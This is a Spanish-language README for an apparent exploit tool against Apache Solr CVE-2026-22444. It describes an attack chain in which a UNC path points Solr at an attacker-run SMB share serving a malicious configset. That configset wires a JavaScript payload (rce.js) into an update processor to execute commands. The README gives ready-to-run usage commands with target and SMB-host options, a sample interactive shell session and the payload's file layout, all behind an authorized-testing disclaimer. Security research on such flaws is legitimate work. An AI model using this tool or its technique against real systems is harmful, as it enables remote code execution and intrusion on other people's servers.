
Exploit para Apache Solr CVE-2026-22444, que aprovecha la inyección de rutas UNC y el servidor SMB para lograr la ejecución remota de código mediante un configset malicioso y una carga útil de JavaScript.
Vulnerabilidad de Validación de Rutas UNC en Apache Solr
CVE-2026-22444 es una vulnerabilidad de seguridad que afecta a Apache Solr, divulgada públicamente alrededor del 20 de enero de 2026. La vulnerabilidad se origina por una validación insuficiente de entrada (CWE-20: Improper Input Validation) en ciertos parámetros de la API "create core" de Apache Solr, lo que permite a un atacante eludir las reglas de seguridad cuando Solr se ejecuta en modo "standalone", pudiendo provocar fuga de datos, ejecución remota de código (RCE) o divulgación de hashes NTLM.
Específicamente, si Solr no tiene habilitada la autenticación o el usuario tiene permisos para crear cores, un atacante puede abusar de esta API mediante solicitudes cuidadosamente construidas para acceder a archivos protegidos o ejecutar acciones maliciosas.
La vulnerabilidad fue descubierta y reportada a Apache en 2025, y divulgada públicamente en la lista de correo oss-security:
Anuncio oficial: https://www.openwall.com/lists/oss-security/2026/01/20/5
La vulnerabilidad existe en CoreContainer.java, donde el constructor de CoreDescriptor desencadena operaciones de red antes de realizar la validación de rutas UNC:
instancePath.toAbsolutePath() puede resolver rutas UNC a través de la redFiles.exists() realiza llamadas de redFiles.newInputStream() ejecuta lecturas de redassertPathAllowed() solo ocurre después de estas operacionesexploit.py - Script de explotación de prueba de conceptofiles/ - Archivos de soporte necesarios para la explotación (configset)
rce.js - Payload JavaScript de ejecución remota de códigoconf/ - Archivos de configuración de Solr
solrconfig.xml - Define la cadena de procesadores de actualización maliciosaschema.xml - Definición del schema de Solrmanaged-schema - Archivo de schema gestionadorequirements.txt - Dependencias de Pythonpip install -r requirements.txt
Las dependencias incluyen:
requests>=2.25.0 - Para solicitudes HTTPimpacket>=0.10.0 - Para crear el servidor SMBpython3 exploit.py <IP_objetivo>
Ejemplo:
python3 exploit.py 192.168.1.100
python3 exploit.py <IP_objetivo> --port <puerto>
Ejemplo:
python3 exploit.py 192.168.1.100 --port 8983
python3 exploit.py <IP_objetivo> --smb-host <IP_servidor_SMB> --smb-port <puerto_SMB>
Ejemplo:
python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
python3 exploit.py <IP_objetivo> --share-name <nombre_recurso>
Ejemplo:
python3 exploit.py 192.168.1.100 --share-name myshare
Argumentos posicionales:
target_host Dirección IP del servidor Solr objetivo
Argumentos opcionales:
-h, --help Muestra el mensaje de ayuda y sale
--port, -p PORT Puerto del servidor Solr (predeterminado: 8983)
--smb-host SMB_HOST IP del servidor SMB (predeterminado: detección automática de IP local)
--smb-port SMB_PORT Puerto del servidor SMB (predeterminado: 445)
--share-name SHARE Nombre del recurso compartido SMB (predeterminado: malicious)
filesTras una explotación exitosa, el script proporciona un shell interactivo:
solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user
solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...
solr> exit
[*] exiting shell...
Comandos admitidos:
exit o quit - Salir del shell interactivoCtrl+C - Interrumpir y salirLa vulnerabilidad explota la siguiente cadena técnica:
configSet (por ejemplo, //ip-atacante/recurso)StatelessScriptUpdateProcessorFactory de Solr para ejecutar código JavaScriptpython3 exploit.py 192.168.35.31 \
--port 8983 \
--smb-host 192.168.35.50 \
--smb-port 445 \
--share-name exploit
CVE-2026-22444/
├── exploit.py # Script principal de explotación
├── requirements.txt # Dependencias de Python
├── files/ # Configset malicioso
│ ├── rce.js # Payload JavaScript de RCE
│ └── conf/ # Directorio de configuración de Solr
│ ├── solrconfig.xml # Configura el procesador de actualización malicioso
│ ├── schema.xml # Definición del schema
│ └── managed-schema # Schema gestionado
└── README.md # Este archivo
rce.js: Este es el payload principal de RCE, que:
cmd de los parámetros de la solicitudsolrconfig.xml: Configura Solr para usar la cadena de procesadores de actualización maliciosa:
rce-chainrce.js/update para usar esta cadena⚠️ Aviso: Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. El uso no autorizado de esta herramienta para atacar sistemas es ilegal.
Este proyecto se rige por la licencia MIT. Consulte el archivo LICENSE para obtener más información.
Esta herramienta y la información proporcionada son solo para fines de investigación de seguridad y educación. El autor no se hace responsable de ningún daño causado por el uso indebido de esta información o herramienta. El usuario debe cumplir con todas las leyes y regulaciones aplicables y obtener la autorización adecuada antes de su uso.